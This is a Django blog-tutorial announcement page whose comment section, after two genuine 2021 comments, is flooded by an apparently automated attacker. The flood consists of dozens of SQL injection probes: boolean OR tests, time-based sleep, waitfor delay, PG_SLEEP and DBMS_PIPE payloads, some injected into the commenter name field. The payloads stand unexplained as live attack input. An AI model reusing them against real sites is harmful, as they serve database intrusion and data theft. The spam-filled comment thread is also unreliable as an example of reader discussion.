In this django crash course, you will learn how to build a blog using Django. I'm going to start with very basic django, so even beginners should be able to follow along.
The course will be split into nine different parts and i will publish two parts per week the next month. I will base the blog on a template, so it will look very awesome when we're finished.
The blog will have all the functionality you expect from a blog like categories, comments, search and similar.
juk | Aug 15, 21 09:55
Hi Stein, really like your tutorials. I am wondering whether you have any plans for sharing the way to create "the course apps" like this? so users can subscribe their plan to join the course and track their progress. I think this is so interesting....
Thank you so much,
Stay safe and healthy!
EB
Stein Ove Helset | Aug 15, 21 02:55
Yes! I am working on it right now and will start to release a course for a learning management system very soon :-)
EFSArCBy | Jul 02, 26 11:14
555
EFSArCBy | Jul 02, 26 11:14
555
EFSArCBy | Jul 02, 26 11:14
555
EFSArCBy | Jul 02, 26 11:14
-1 OR 2+846-846-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:14
-1 OR 2+836-836-1=0+0+0+1
EFSArCBy | Jul 02, 26 11:14
-1' OR 2+340-340-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:14
-1' OR 2+37-37-1=0+0+0+1 or 'CKpmTSWv'='
EFSArCBy | Jul 02, 26 11:14
-1" OR 2+657-657-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:14
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 11:14
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 11:14
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 11:14
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 11:14
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:14
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:14
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:14
555yG5a9sNf'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:14
555-1 OR 538=(SELECT 538 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555-1) OR 315=(SELECT 315 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555-1)) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555gkz515ZW' OR 666=(SELECT 666 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555LdgFYhcL') OR 985=(SELECT 985 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555e8ADqR2I')) OR 89=(SELECT 89 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 11:14
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555'"
EFSArCBy | Jul 02, 26 11:15
@@T4vuG
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
-1 OR 2+775-775-1=0+0+0+1 -- | Jul 02, 26 11:15
555
-1 OR 2+31-31-1=0+0+0+1 | Jul 02, 26 11:15
555
-1' OR 2+556-556-1=0+0+0+1 -- | Jul 02, 26 11:15
555
-1' OR 2+530-530-1=0+0+0+1 or 'oBrGMxLK'=' | Jul 02, 26 11:15
555
-1" OR 2+328-328-1=0+0+0+1 -- | Jul 02, 26 11:15
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:15
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:15
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:15
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:15
555
EFSArCByZlBJIhkC'; waitfor delay '0:0:15' -- | Jul 02, 26 11:15
555
EFSArCByo5cBUYTO' OR 589=(SELECT 589 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15
555
EFSArCByBGiWoFnP') OR 139=(SELECT 139 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15
555
EFSArCByuoctPExr')) OR 138=(SELECT 138 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy'" | Jul 02, 26 11:15
555
@@NVupS | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555